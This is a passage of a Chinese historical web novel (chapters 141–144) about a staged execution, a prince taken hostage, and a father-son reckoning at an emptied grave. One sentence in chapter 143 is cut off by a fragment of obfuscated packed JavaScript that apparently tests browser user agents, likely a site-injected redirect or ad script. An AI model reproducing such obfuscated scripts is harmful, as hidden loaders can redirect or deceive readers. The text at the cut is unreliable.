门外,天从四四方方变成广阔无垠,突然有股畅快的空气冲过他口道直达肺腔,这样满怀自由意志的风让秦寄陡然振奋。 太阳已经高悬了,都说中原好午时问斩——已经逼近午时了! 秦寄顾不得其他,从旁抢过一匹马,不管不顾地狂奔向西——永安门在西方! 驱马的口号已经破碎支离,秦寄忍住一声不敢咳,一息不断地喝马。 快,再快! 如此飚行不久,秦寄在集结围堵的人山人海外,看到一面高悬的旗帜。 是大梁的军旗。 旗下,高台矗立,禁军如墙。 两名身披甲胄的左卫军官推出一口铡刀。 中书令杨峥当先而立,一口长髯在风中悠悠飘荡。 底下百姓叫道:“杨相公,都说今日处斩段映蓝,人在哪里?” “是啊,咱们酒都买好了!这女人联合齐军害了樾州多少人口,还有潮州!我阿姨一家就是叫她围死在潮州城里,没有粮食,身子都给炖汤吃了!” “我儿子新在樾州娶了媳妇,才不到一年……我连尸骨都没得收啊!” “人哪?相公,人在哪里?” 百姓一阵高过一阵的喧嚷声中,秦寄跌下马背,在无数振动的手臂间拨挤上前。他在窒息的空气里,看到铡刀高悬,而安置罪犯的铡口处空空如也。 怎么回事,难道有变? 突然,一道利光闪过秦寄眼睛。他追寻的眼光比对方收回的动作更快——人群中,一只黢黑粗糙的手把腰剑插回鞘中。 是个中年男人,左眼盖罩,身材结实,耳上没戴坠子,但有耳洞。 是个西琼人——是段藏青。 西琼预备劫场救人! 这一刻,秦寄突然抖如筛糠。他嘴唇张合几下,却叫不出短短“舅舅”二字,手也哆哆嗦嗦地摸向靴边,却不知道是不是该把匕首拔出来。 思绪纷乱间,一名军官气喘吁吁地跑上高台,虽尽量压低声音,但仍被台下最靠近的人群听见:“相……相公,段映蓝不见了!” “不见了?”杨峥大惊失色,“可曾回禀陛下?深宫戒备何其森严,怎么可能不见?” 那军官道:“咱、咱们巳时奉命带人,神龙殿已然人去楼空。尉迟将军已经去禀告陛下了,先让卑职赶来,同相公商议个章程!” 临刑死囚突然失踪,为已然沸腾的人群又添一把大火。百姓喧哗涌动,刺客潜伏戒备,禁军面面相觑,各方势力被这变故打了个措手不及。 秦寄观察那西琼人脸色,也是一片茫然,显然不是他们的手笔。 一片大哗间,突然响起一道清亮的声音:“段映蓝在此!” 万众瞩目下,萧玠缓缓登台。 他形容与昨夜无二,只是脸上已经是面对臣民的镇定持重。他身后,两名东宫侍卫上前,放下一抬蒙布春凳。 萧玠高声道:“本宫身经樾州浩劫,立誓手刃此贼,以慰我破碎山河无辜百姓!今践此诺言,在场诸君皆为见证!英魂在天,可安息矣!呜呼哀哉,伏惟尚飨!” 他在呼喝声里揭开白布。 凳上,是一具属于段映蓝的尸首。 142.第 142 章 神龙殿昨夕的夜晚寂静无声,当殿门在一日之内第二次推响,段映蓝预感,最后的结局有改写的可能。 她转过头,在月亮灌注的一束强光里,看到逐渐清晰的萧玠的身影。 段映蓝严阵以待的神色变得玩味起来。她上下打量萧玠一遍,“大晚上的,梁太子这是掉了池子?” 萧玠在东宫近卫簇拥下姗姗而来。他没有落座,裹着狐裘站在段映蓝面前,不言。 段映蓝这才开始审视他的表情,萧玠感觉被一条鳞片鲜蓝的毒蛇窥伺。不一会,段映蓝眯眼,做出判断:“阿寄知道了。” “是,他知道了。”萧玠道,“你得逞了。” 段映蓝无所谓地笑了笑。 萧玠声音平静:“我本不清楚你的算盘,但见阿寄的反应,我突然明白了。你千方百计让他知道你被俘入宫,并不是为了让他救你。他一个孩子,怎么可能把你救出?” “你想让他看着你死。” 萧玠轻轻吸一口气,“如果他眼睁睁看你为陛下处斩,会不会动弑君刺驾的心思?陛下对阿耶负疚甚深,如果阿耶的独子真要杀他,他会不会还击招架?” 他盯着段映蓝的眼睛,居高临下,像一只意欲啄蛇的鹤。 “但如果,是我杀你呢?” 他挥了挥手,郑缚捧一只托盘在案,一条白绫,一杯毒酒。 萧玠道:“宗主武功过世,不敢予以匕首。这些东西,二者择一吧。” 段映蓝手指抚过杯沿,“如果我记得不错,梁皇帝要在明日午时将我推出辕门明正典刑。梁太子夤夜赐死,你爹不知道吧?” “本宫有监国之权,”萧玠道,“今夜行刑,在权责之内。” “我指你远在南秦的爹,”段映蓝说,“不用说一声?” 萧玠眉毛轻轻一跳。 “我俩新婚的时候,你还在他肚子里。刚显怀,不大不小。”段映蓝笑着看他,“我和你阿耶,可是二十年夫妻。” “我不管你是谁的妻子,谁的母亲。”萧玠终于俯下身,一瞬不瞬盯着她,“你动陛下,我就杀你。” “真是梁皇帝的好儿子。”段映蓝赞叹,“难为秦公十月怀胎,拼死生下的骨肉,却偏帮废弃他的负心汉。” 萧玠嘴唇抖动起来,这点变化被段映蓝立刻捕捉到了——他在痛苦,太好了。她的死亡不过转瞬即逝,而他们的痛苦却是无休无止。究竟谁是赢家,谁是输家? “我是梁太子,护卫君父是我的职责。”萧玠的那点痛苦神色被很快抹去,“我也不会让你再拿我弟弟,当一把复仇的刀。” “段宗主,你该上路了。” 接下来是神龙殿百年立殿史里放映过无数次的一幕,一条被赐死的幽灵脱壳而出,成为红墙上一道干涸的雨痕。很多历史小说写到段映蓝之死,不约而同地构造出她拔剑啖雁、且饮且骂不屈而死的临终情景。这样壮烈赴死的情节似乎更符合她的枭雌身份。但其实,她的死亡比任何不在场之人的臆想更平静,也更阴毒。 如果我们是在场的东宫侍卫之一,虽然被棉花堵住耳朵,但眼睛依旧能识别他们的神色和唇语。我们可以看到,段映蓝饮下酒水,神态自若地向萧玠招招手。萧玠俯身之际,她四十余岁仍年轻饱满的嘴唇吐出一串诅咒似的语句: “你那个小情郎——你的丈夫,已经烂成白骨的上柱国将军郑绥。你以为,他真的是被虞仙翚害死?” “什么意思,”萧玠两手拧住她衣领,“你什么意思?郑宁之怎么死的……他的死和你有什么关系?丁逢源……那个西琼人,他还做了什么……你还做了什么?!” “他最后,还给你留了一样东西,一句话……” 段映蓝似乎要告诉他,但鲜血已经抢在话语前溢出牙关。 她的身体软下去,原来这样一具英雌的身体,到头来也会化成一滩烂泥。在她最后的视野里,太子抓住她身躯剧烈摇晃,面貌狰狞充满惊痛。这才是她真正的报复。不论是真是假,遗恨会折磨他一生一世,一世一生。萧玠这辈子都会陷在她一句话编织的噩梦。 *** 太子萧玠揭开白布的一瞬,人群之中爆发一道撕心裂肺的嚎叫。 秦寄扑倒在地时,只觉一道刀光割过眼睛,不远处段藏青已一跃而起,像一条伤狼也像秃鹫般直扑台上。 他发动攻势的瞬间,无数乔装的西琼士兵也飞跃上高台,甚至动作比段藏青更快、跃得比段藏青更高、动作激起的风比段藏青更迅猛疾利——简直像一群厉鬼野兽。 变故突生,人群却不像预料之中的纷乱逃窜。抢在台上左卫赶到萧玠身前时,秦寄已然听到金石碰撞的当啷响声。 刚刚还义愤填膺的台下男女们突然飞身而上,迅速从袖底袍中拔出利刃,将条条刀光架在距萧玠不足三尺的地方。 这哪里是手无缚鸡之力的百姓,明明是早已乔装的禁卫! 梁皇帝明正典刑的意图压根不是示威,而是请君入瓮! 段藏青但闻处斩其姐的消息,怎么可能不出手? 厮杀骤起,血气飞溅不过转瞬之间。杨峥已然快步上前将萧玠拦道身后,看看他再看看他身边段映蓝的尸首,“这是怎么回事,殿下何故在此?” “此事是我僭越,”萧玠四处张望,“陛下呢,陛下不在?” “陛下本要亲临,但西塞新到一封加急军报,陛下便叫臣先来监刑。”杨峥忙护他往后,“殿下先行还驾,回去解释。” 萧玠刚要颔首,余光往台下一扫,浑身一震间失声叫道:“阿寄!不要伤他,不要伤他!” 杨峥叫他一嗓子叫得头顶发冷,忙往台下看去,见段藏青已经被刺中右手、由两条军棍压在地上。 就在这一刻,他身边一个衣着暗红的少年飞身而上,手中寒芒在阳光下闪烁如金。 即将砍向秦寄后背的刀刃因萧玠呼喝停滞空中。这个瞬间,秦寄已跳上高台,一把捉住萧玠肩膀—— 他一剑抵在萧玠喉边,厉声叫道:“还想要你们太子的命吗!” 郑缚在列,立即快步上前:“公然刺杀太子,你是要代南秦对梁宣战吗?” “闭嘴!”杨峥当即喝断,打算先稳住秦寄,“秦少公,你冷静,你不顾旁的,难道不顾手足之情?” 众人只以为情况危急他措辞不当,只有当事人明白这短短四字所指的血缘隐秘。秦寄却冷笑一声:“娘亲舅大!这只手腕有毒,我该壮士断腕了!” 他收紧匕首,鲜血登时从萧玠颈边涌出。秦寄喝道:“放他走,给他一匹快马!舅舅,安全出城后,用我们之前的暗号!” 段藏青啐了口血在地上,叫道:“阿寄,我死不要紧,杀了他!他害死你娘,现在杀了他!” “我自有计较,你先走!”秦寄压紧匕首,“马呢,给他马!难不成你们要看梁太子横尸当场吗?” “左卫听令!”杨峥立即喝道,“给他马,告诉城门,放他出京!” 萧玠当叫道:“谁敢!杨相身负圣命,难道要抗旨不遵!” 秦寄冷笑一声,匕首当即嵌入他脖颈。萧玠吃痛断声,听到秦寄在他耳边恻恻道:“你他妈是真想死啊。” “我给你马!”杨峥张开双手,这是个试图安抚的姿势,“我给你马,你放了殿下,什么都能商量。” 秦寄警告道:“姓杨的,别跟我耍花招。从这里出城不过半个时辰,半个时辰内我见不到我舅舅的讯号,你们就用这块白布给萧玠收尸。” 左卫已然领命,将一匹骏马牵上前。段藏青向台上投去一眼,不是冲萧玠或者秦寄,而是因风鼓动的白布旁,段映蓝那具逐渐枯萎的身体。 他抬手拽掉马具,翻上马背,在诡异的口哨声中,骏马四蹄如飞,向城门奔去。烟尘滚滚处,仍传来段藏青越来越远的声音:“杀了他阿寄,给你娘报仇,杀了他——” 杀了他! 所有人注意到,秦寄眼瞳深处,跳起两簇勃勃青焰。几乎是瞬间,这种青铜之色浸润了他整个身躯。他变成一尊凝望西方的青铜神像,直到不久之后,一簇特制的蓝色烟火腾空而起,在天边炸亮。 杨峥深吸口气,“秦少公,段藏青已经走了,你是否应如约放人?” 秦寄笑了笑,“萧玠,你说呢?” 萧玠嘴唇一动,还没说话,就感觉秦寄嘴唇抵在唇边。他的气息凉森森的,像蛇信沿耳廓舔了舔。 秦寄问:“我娘死了,你把我关在身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他不会伤殿下。”杨峥颏下胡须被气息鼓动,“全体戒备,等待殿下号令。” *** 一入永巷,萧玠便觉喉头一松,紧接着天旋地转。 他被秦寄掐住脖颈抵在红墙上。 后背砰地一声砸在墙上,紧接着颈上的力道催逼而来。秦寄并不是恫吓,用了十成十的力气。 萧玠血肉模糊的伤口痛楚难当,又被他扼得几乎窒息。他感觉秦寄居高临下地看着他,口气满是阴冷怨毒:“萧玠,我为什么会救你这么个猪狗不如的东西?” 萧玠心中一痛,艰难叫他:“阿……阿寄,你如果想报仇……咳、杀我就是……” “我的确要报仇。”秦寄俯在他耳边,奇怪道,“可我为什么要杀你呢?” “你以为你抢先杀掉我娘,我就会放过他吗?”他抬起脸,绽开一个天真残酷的笑容,“萧玠,是你教给我的,世间还有大过死亡的惩罚。” 萧玠脑中一声巨响。 他要杀萧恒。 …… 不……不! 萧玠感觉自己声嘶力竭地哀求大叫起来,但又没听到任何声音。但他的确扒紧秦寄手腕叫道:“不……不阿寄,你杀我,我求求你杀我……不、不——不!!” 他感觉秦寄准备一把甩开他,像甩开一条咬死家人的毒蛇。但他不能松手,他不能……再往前就是朝寝之界,就是修罗地狱万丈深渊,跨过前面就是他的父亲和兄弟注定今日你死我活的结局…… 他的血亲、他的骨肉、他活着的一切指望,他的手心手背心脏骨头—— 不! 秦寄像看一个扭曲的异物,又冷冷扫向他几乎抠入自己皮肉的手指,活动手部,准备将他手腕掰断—— 一道巨大的风力冲来。 秦寄眼中精光一炽,一把甩开萧玠迎风抬臂。 扑哧一声。 萧玠睁大眼睛。 鲜血从秦寄指缝汩汩涌出。 他伸出右手,接住那把凌空飞来的环首长刀。 143.第 143 章 萧恒策马赶来时只看到被掐住脖子拧住手腕的萧玠,那一刻他什么也顾不得,立刻掷刀而出要逼退凶犯,却不料对方不闪不避,赤手接下那当空刺来的环首刀刃。 少年转头的一瞬萧恒悔之莫及。 是秦寄,他怎么能对秦寄——对秦灼的儿子动手? 下一刻,萧玠高叫“阿寄”的喊声里,环首刀已经调转方向,冲萧恒当面劈来! 当啷一响。 萧恒任它坠地,没有去捡。紧接着,秦寄手中闪烁虎头青光的匕首已经直夺咽喉。 萧恒抬臂一挡,剑口割破血肉之际他和秦寄手臂相撞。骨肉闷响中萧恒不禁讶然,这孩子竟生了这样一副铁骨。 秦寄被逼退两步,眼中青光四溅,厉声叫道:“还我娘命来!” 雪亮剑刃如电光闪烁,换成另一个人,如此密集的劈砍挑刺绝难招架。萧恒却只格挡,并不进攻。 他在眼花缭乱的剑光后看到少年冷酷愤怒的眼睛。 秦灼也曾用这种目光瞪视他。是怀抱女儿的襁褓,还是面对裴公海的尸首? 肩头撕裂的痛楚中断回忆。剑刃入肉时,萧恒作出一个出乎意料的动作。 他攥紧剑柄,同时也擒住秦寄的手。秦寄像一把利剑钉住萧恒的身体,钉得太死,无法拔出。 萧恒说:“秦少公,你放过阿玠,我任你处置。不论为你娘,还是为他。” “你也为的着他?!”这句话彻底点燃了秦寄的怒火,他直接把剑锋钉死在墙上,这个距离,不管是捅死萧恒还是掐死萧恒都是手到擒来。 在萧玠以为一切都要无可挽回之时,他听到了秦寄的怒吼。第一次,秦寄的愤怒不再像一把冷冰冰的利剑,而是一团呕出来的火焰。这么远的距离,萧玠都能听到他牙齿各愣作响的声音:“你知道他这些年怎么过的……有萧玠之后他都是怎么过的?你们中原人谁看得起他,梁宫里一个洒扫的宫女都能瞧他的笑话!太子生母,好尊贵啊,换成个寻常女人早就稳坐中宫了!他呢?他挖心挖肝,连肚子都不知道挖开多少口子,却让你们父子两个抛弃了一次又一次!” 秦寄咬牙切齿:“梁皇帝,你说,这笔账我该怎么算?” “算我身上。一切都算我身上。”萧恒放缓声音,“你别动萧玠,别动他。” 秦寄的神色很古怪,一会像酸楚,一会像讥讽,一会像得意,一会像痛恨。他说:“我要的也不多。这些年他替萧玠割的血怎么也能放半身——他给你生过几个孩子,我在你肚子上开几个口子。萧玠是从他肚子里活活挖出来的,我把你的肠子掏出来,不过分吧?” 萧恒说:“好。” 秦寄嗤地把剑拔出来。 一股鲜血从萧恒肩胛射出,打在秦寄脸上。 萧恒扯落腰间玉牌递给他,“我立死不了,你就不算弑君。拿着这个,你能顺利出京直达南秦。半身血,两个口子,再加别的都可以。请你放过阿玠。” 萧恒声音终于有些异样:“你娘是我下旨杀的,他也是我背弃的,这一切和阿玠没有半点关系……我求你高抬贵手放过他。” 秦寄看一张草纸般掠过那块玉牌,然后俯身,一头竞位成功的新狼王一样,用蔑视落败者的目光扫量萧恒。他的鼻息几乎吹到萧恒脸上,突然,绽开一个古怪笑容。 “你以为,你只有萧玠和我姐姐两个孩子吗?” 秦寄说:“奉皇七年九月,他被你赶回南秦的时候,已经怀孕了。” 轰隆一声巨响。 秦寄仍在笑,笑得很残酷。他不用掏出萧恒的肠子就已经听到它们在他腹中盘结拧转寸寸断裂的声音,像密集的灯花爆破,啪咔、啪咔、啪咔。 萧恒死去的脸上终于出现点活影——他想问秦灼,想问那个孩子,想问他辜负又铸就的那桩罪过。于是秦寄大慈大悲地告诉他:“拜你所赐,他心痛欲死,半路上险些一尸两命。至于那个孩子,一滩血水而已。” 秦寄盯紧萧恒的脸,不肯放过他一分表情变化,“萧恒,是你杀了那个孩子,你自己的孩子。虎毒不食子。” “你还有什么脸面活下去?” 萧恒一截朽木般栽倒在地。 秦寄以为能如愿听到他崩溃的哀嚎,但是没有。萧恒只是坐在那里,像个死人,或者残废。 他看上去在哀悼那个孩子。 但秦寄突然灵光焕发地明白,他在为秦灼痛苦。 那个秦灼生命中最残酷的秋天,作为一个君王却被废黜驱逐,作为一个男人却蒙受了休妻的耻辱。而作为一个父亲,他在为此生再难相见的儿子肝肠寸断之际,身体里又挤出一团不成人形的模糊血肉。 秦灼恨他,但萧恒知道,他爱每一个孩子。那个孩子本可以成为他对萧玠思念的寄托、支撑他熬过寒冬的希望、用来愈合舔舐的伤疤——最坏最坏,成为对萧恒怨恨的出口。 却被他另一个无知的父亲虐杀在腹中。 萧恒动了动嘴唇:“它多大?” 秦寄说:“四个月。” 不只是流血了。萧恒想。要割开肚子。第三个口子。 其罪何赎。 太阳涂抹下,永巷被定格成一幅线条粗犷、以刺杀为母题的版画。秦寄蹲下卝身,对准萧恒右肋举起锋刃。 “等等!” 一道撕心裂肺的叫声。 萧玠从震骇中醒神,厉声叫道:“段映蓝没有死!” 他捂住脖子,跌跌撞撞跑来,手脚并用地把自己塞到萧恒和秦寄当中,“阿寄,她没死,她是你的母亲我怎么可能杀她?我只是想用她的死来诈段藏青。” 秦寄道:“那具尸体。” “假的,我在大理寺找了一具女尸,替她做了张面具。”萧玠大口喘气,“你想想,既然她要明正典刑午时斩首,我早杀她一刻有什么区别?” 剑光眼睛一样眨动一下。 秦寄把视线挪到萧玠脸上,“你再敢骗我。” “我任你处置。”萧玠缓慢站起来,匕首在他胸口划过,衣料立即绽裂。 萧玠向他伸出手,柔声道:“来阿寄,你跟我来,我带你去见她。” 秦寄问:“如果我要先杀萧恒呢?” 萧玠声音依旧轻柔:“那你连她的尸首都不会见到了。” 他们静默尖锐地对峙片刻,秦寄站起来,提着那把带血匕首,像一个刚宰割完牲畜的屠夫。 萧玠刚要跨 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出乎意料,秦寄毫无被多番欺骗后该有的怒火中烧。他又变回一把冷酷的匕首,抬手轻轻抚摸段映蓝的嘴唇,又放在鼻子边闻了闻,下定结论:“是鸩头。” 他看向萧玠,“你毒杀了她。” “是。”萧玠回答。 秦寄站起来,声音毫无感情:“你骗我出来,觉得能改变什么?替你爹拖延时间?” 他说:“萧恒还是会死在我手里。” “如果你想让段映蓝挫骨扬灰。”萧玠说,“如果,你想让段藏青死无全尸。” 空气似乎凝固了。 倘若下一刻秦寄要拧断他的脖子萧玠不会有丝毫意外,他在秦寄眼睛里读到了一种光芒。和樾州的那个夜晚,秦寄为了保护他面对狼群时一样。 “西琼尊奉马面神,不信前世今生,但信死则有所。而且,马具被认为是一种最卑劣的刑具,因为它拘束的是神明的灵魂。”萧玠说,“我会把段映蓝的尸体做成马具送给樾州,我会活捉段藏青,用西琼最喜欢对待战俘的方式活剥掉他的肌肤做鼓皮。如果你一定要杀陛下,我不介意做一个穷兵黩武的暴君。除非你一起杀掉我。” “但阿寄,你真的会杀掉我吗?” 一条青蛇游击。秦寄横匕在他颈处,冷冰冰道:“你可以试试。” 而萧玠只是哀伤地看他,眼泪掉落在剑面上。 最暴怒时刻的秦寄都没有杀他,现在一个渐趋冷静的秦寄,怎么下得了手呢? 他虚张声势的兄弟,才是最最柔善的人。 至于自己,被胸膛暖醒又咬向那胸膛的毒蛇而已。 “阿寄,如果你真的能杀掉我,我会很高兴。”萧玠感觉眼泪不受控制地掉下来,“我知道你对我的保护是为了阿耶。可你知道吗,如果易地而处,我无法确定自己会不会杀掉你。” 秦寄没有说话。 萧玠终于哽咽起来:“所以……不管是你还是阿耶,都不值得为我付出这么多。太不值得。” 这时候,秦寄终于有了反应。他点点头,似乎认同,“不愧是萧恒的儿子。” 秦寄说:“我当日救一条狗,犹胜救你。” 144.第 144 章 离开神龙殿后,萧玠直奔甘露殿,却只找到空荡荡房间里面目惊惶的秋童。 萧恒并没有回来。 禁卫全体出动,上至城墙下至地窖,几乎搜遍每个角落,依旧未有结果。秋童紧紧抱住萧玠,勉强安抚他:“殿下别慌,陛下是什么样的人物,定然不会出事。咱们再等等。” 萧玠抓紧他手臂,上气不接下气地呼吸。 他此生忘不了父亲当时的神情。那种神情他搜肠刮肚都无法向人复述形容。如果有一天自己死了,父亲在自己尸身前的表情大抵如此。 所有人都觉得他的父亲坚不可摧,可他也是个人。 有软肋,也有死穴。 夜色已深,满宫却明亮如走水。禁军一波接一波地回禀结果:立政殿无人、两仪殿无人、千秋殿无人、三清殿无人。接着是武德殿、大吉殿、万春殿。 无人、无人,还是无人。 随着萧玠的颤抖,长生也发作起来,无数蛇形的疼痛爬满他每一寸肌骨。越痛他就越清醒。 殿内没有,那殿外呢? 他浑身一个哆嗦,一把抢过灯笼,跌跌撞撞地跑出门去。 萧玠跑得太快,怕耽误时间强忍着不敢咳嗽,跑过太液池时在湿滑的泥苔上跌了一跤。灯笼骨碌碌滚远,咚地掉进池塘,但没关系,萧玠也用不到了。 不远处,一片浓重阴影中,萧玠看见他漆黑的父亲。 他蹲在一个土丘处,土已被刨开,里面空空如也。 那是秦皎曾经的葬地。 *** 梁昭帝萧恒是否动用骨祭这一论题在学界争议颇多。支持派的力证之一,当属近年于大梁宫遗址最新出土的一块碑石,虽碑文漫漶,却能辨认零星字句:奉皇二×四年春……至太液,帝发公主旧冢以寻之。 此派学者多以前代灵帝发文淑贵妃墓取锁骨祭祀的活动为根据,类推及人,言之凿凿。要讨论这一问题,仍需回归他们的根据本身——碑记虽仅剩短句残篇,仍能破译不少信息。 奉皇为萧恒年号,那碑文所记之“帝”自然为这位昭帝无疑。而“公主旧冢”四字,则陈明冢主人身份和葬地迁徙的事实。但这位公主确切姓名的考证却下了一番力气。梁公主共计175位,因陪陵制度,墓地基本位处帝陵。其中徙葬者56位,但并无一位初葬禁中,特别是碑文提及的太液池边。据遗址考察,梁太液池呈马蹄形,池畔泥土湿滑,空地形状狭长,并非下葬佳处。且在此处并未发现任何墓葬结构,使得这证据确凿的“公主旧冢”更像一类捏造的历史迷梦。直至白龙山佛学院某生于一篇期刊论文中提出另一种假设,碑文所记似乎才有一种合理解释。 该生认为,这位公主很可能不是皇帝血亲,而是赐封。昭帝曾于奉皇六年册立秦明公长女秦氏为永怀公主,但南秦史料对这位公主却无任何记录。据“永怀”含义推测,比起封号,这更像是一个谥号。也就是说,永怀公主很可能在受封之时已然辞世。但这就牵扯到另一桩史料疑云:秦永怀生母者谁。 秦明公有一妻,即同为诸侯的西琼段氏,育独子武公,一生无妾。但这并不意味他绝无婚外情和非婚生子女。从秦史无一字记的情况可以窥探,南秦对这位公主,若非讳莫如深,那就是一概不知。这不太可能是对待公夫人子嗣的态度。根据梁史,秦永怀于奉皇六年正月册立,明公时三十岁,因诸公之乱于奉皇五年十一月返京救驾,至奉皇七年九月的废黜风波才重返南秦。这位公主极有可能是明公在京遗爱而结的子嗣,那她就不是成年甚至普世意义的早殇之人,而是一个未成形的胎儿(由于奉皇五年明公并未携带任何女性内眷回京,其母最早于十一月怀孕,至正月不过两个月光景)。所以这处墓地并非实墓,更可能是一处类似衣冠冢的托思之地。这也就解释了旧冢并无墓室结构的原因。 根据以上推测,永怀之母最有可能身居宫中,或是宫女,甚至是前代后妃(昭帝当时后宫空置)。但鉴于奉皇七年追责明公的六条事项无一牵涉秽乱宫闱,前者的可能性更大一些。一个胎儿能让昭帝追思至此简直令人匪夷所思,该硕士生指出,昭帝大概出于一种政治动机,借此表示对秦公救驾的嘉奖。其实还有一个讲得通的逻辑,就是永怀之母与昭帝情谊深厚。但遍观昭帝的人际大树,少有年岁相当的女性果实,遂不提。 上述推测多遭人诟病。因为这段时间,并不是秦明公婚外结情的好时机。他出入禁中的特权虽未褫夺,但与昭帝的政治关系已经从明昧不定转向岌岌可危,这从不少学者推崇的“逼宫说”便可见一斑。外部世族叛乱和内部君臣危机的双重压力下,明公应当没有发展一段桃色关系的好心情。可能出于这种考量,举出“永怀胎儿说”的这位研究生在自己学位论文中推翻了曾经的观点,但对“昭帝发穴觅骨以祭”的论调仍坚持反对态度。该生认为,碑记当日,昭帝很可能遭受一种重大精神打击,他发冢寻觅之物并非客观实在,而是一种和冢主人相关的旧日遗迹。他渴望在冢中找到一些遗留之物,这个过程,似乎是对许多年前埋葬秦永怀的一种重温。 但他在重温什么,一个追封的诸侯之女,为什么会成为他精神创伤的一部分,这篇论文并没有给出答案。该生毕业后于白龙山继续修行,写过几篇散文,曾于当地宗教界杂志发表,有一篇以其导师弘斋禅师为中心,其对天地历史的参悟,看似荒谬,实则通透。弘斋对既有材料的梳理,还依靠一种类似冥想的能力,静坐三日,其意自现。该生散文中写道,这种体验跟观看一部VR纪录片类似,如果将观察对象比作一粒种子,便能清晰观察它从破土到长成的每个细节,从繁荣到衰落的每个过程。但实际感受更接近一种读心能力,叶脉的每一条纹路实际对应人物的每寸思想。而明帝永怀身世之谜,就是他在弘斋指导下,凭靠这种思悟能力和一些若有似无的血脉联系(据说其为梁昭帝后嗣)进行探索的。但探索结果,文中并无陈述,然这类参悟方法被作者要言不烦地记录下来。今试以此方式再作探索,并将所见写作草稿。因太过荒诞,故弃去不用。草稿内容如下: 我跟随萧恒抵达太液池遗址,意识到保护栏外这块已被硬化成水泥地的区域,曾经种植着大面积的黄月季灌木。萧恒从月季的黄白花朵前蹲下,抽出腰刀,用刀柄刨土,不一会换成双手。这时他开始出汗,呼吸也越来越急促。土穴内部空空,从底部较为松软的土层判断,这里埋藏过一只匣子。萧恒知道这是秦永怀的初葬地。 他用女儿来称呼秦皎。他手按在秦皎墓穴里时不可能不想到秦灼。他想起的秦灼画面与历史记载大相径庭。秦灼被剖开的肚子里露出类似女性子宫的腔体。秦灼脏腑肠子簇拥下一个血红苍白的孩子。秦灼的脸。秦灼青春大笑的脸和惨白昏迷的脸闪烁交叠。秦灼沧桑疲惫的脸垂下,躬身站在他面前为他穿戴衮服,紧接着跪下替他整理组佩。这个时空的萧恒身体剧烈晃动,在奉皇七年的病入膏肓时期,连弯腰都费力。他慌忙搀扶秦灼,反倒自己站不住。秦灼拉住他手,并不起身,轻声道,你别动,这就要好了。萧恒奉皇七年的眼泪滴落秦灼的发旋也滴落在奉皇二十四年被掘开的土穴里。 秦灼当年何等骄人傲气,双臂开落日满彀都轻易,可如今两次生育极度损害了他的身体。秦灼少年时代登台禳禬的身影犹在眼前。现在秦灼替他结系好绦带,跪在地上替他把褶皱抚平。 这不是秦灼该干的事。萧恒无比直观地意识到,是自己毁了他。他最风发意气的枕边人,为了他和他们的儿女,在这不见天日的深宫里做着妾妃该做的事。但他们甚至没有一个正当名头。他们拜了天地叩了高堂,却在人前连六郎都不能叫一声。现在,他的死期将至,秦灼却已经生出大无畏的同生共死的决心。时人都以为是君臣之间的殉葬,只他知道那是夫妻间的殉情。 夫妻。秦灼那么多次戏言自己是他的妻子,却又毫无怨悔地为他生儿育女。他再次尝试把秦灼搀扶起来,秦灼的身体却和他连理枝一样密不可分。他抱紧萧恒双腿,缓缓吐出让他如遭雷击如同梦碎的那句话。 他说臣南秦秦灼愿为陛下粉身碎骨。 是时候了。萧恒想,岂投马嵬同穴死,未若纷飞各异室,这是老天早就借岑知简之口告诫他们的判词。 我想和你好一辈子。 可人力总有尽时。 *** 二十四岁的萧玠看到太液池边被掘开的土穴。土穴旁墓碑一样守着一块萧恒。手中的环首刀照亮他面无表情的脸。 萧玠腿一软,一下子跪到地上,他什么也顾不上,连滚带爬地赶到萧恒面前夺刀。那把沾满泥土的刀很轻易就被他抢下来丢在一旁。 萧玠捧住萧恒的脸,哭着叫道:“阿爹……爹你看看我,爹!” 他喘不上气,话语几乎是挤出胸腔:“我活着啊,我是你的儿子,我是你活生生的儿子。你别吓我……我已经回不去南秦了,我已经找不了阿耶了,我只有你了……你也不要我了吗?” 他紧紧搂住萧恒脖颈,几乎把自己挂在他身上。好一会,他感觉父亲的手抱住自己。父亲的声音响起,好近,也好远:“阿玠,阿爹答应过你,会为你好好活着。爹没事,你不怕。” 萧玠一个孩子一样,缩在他怀里,哇一声哭出来。萧恒一只手抱着他,轻轻拍打他后背,另一只手抚摸那处空穴,突然讲起那桩两人回避十数年的旧事: “你阿耶,是我故意赶走的。” 萧玠浑身一僵。 “他要陪我一块死。”萧恒说,“我以为,离开我他能过得更好。” 接下来很长时间,两个人都没有发出声音。萧玠感觉到父亲身体的战栗,借着月光,他看到有水流从父亲鼻尖滴落,没入被他攥紧的土壤里。 “孩子”对父亲的意义,原本是远在天边的明月和活生生的自己,从今往后,多了一抹残忍的血迹。 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萧恒摇头,“很像影子。” 抢在萧玠再度坐起来前,萧恒已经按住他肩膀。萧玠急声道:“阿爹,你会不会看错,阿寄他这么小的孩子!” 萧恒思索很久,再次摇首,“如果没有极端密集的训练,很难把骨骼和肌肉开发到这个程度。看他行动的速度力度,极有可能用过药物。” 萧玠如雷击顶。 “药物……什么意思,是药、是蛊……还是毒?”萧玠急声道,“可他是南秦的少公,谁能对他下手?” 萧恒却讲起另一桩故事:“玉升三年,我和你阿耶清剿掉影子主力,但有不少残部逃窜四海,极难搜捕。近年来,从王云楠到虞山铖,他们手下的残部已经很成体系。但控制影子绝非易事,需要药蛊,也需解药。阿芙蓉就是解药所用之一,而西琼有不少大型的罂粟园地。还有你在樾州遭遇的狼兵。” 萧恒道:“狼群太野,难成此势,但影子有一套驭兽之法。你伯父梅道然就熟知驭鸟之术。” 萧玠打了个哆嗦,“阿爹,你是说……” “王云楠得到的那支影子队伍,很可能出于西琼之手。我率军攻入西琼都城时,找到了多处暗室,从里面的东西看,很可能就是为训练影子准备的。”萧恒道,“但有件事很奇怪,我们攻琼期间,只有个别西琼将士有影子训练的痕迹,但没有对阵任何一支成规模的影子队伍。” 假如西琼真的有影子军队,为什么不在齐梁对决的危急存亡之际出手? 萧玠顾不得这些,“那就是西琼的确有训练影子的可能,对不对?阿寄如果身体受过药物开发——段映蓝给他喂药?他可是段映蓝的儿子,虎毒不食子!” 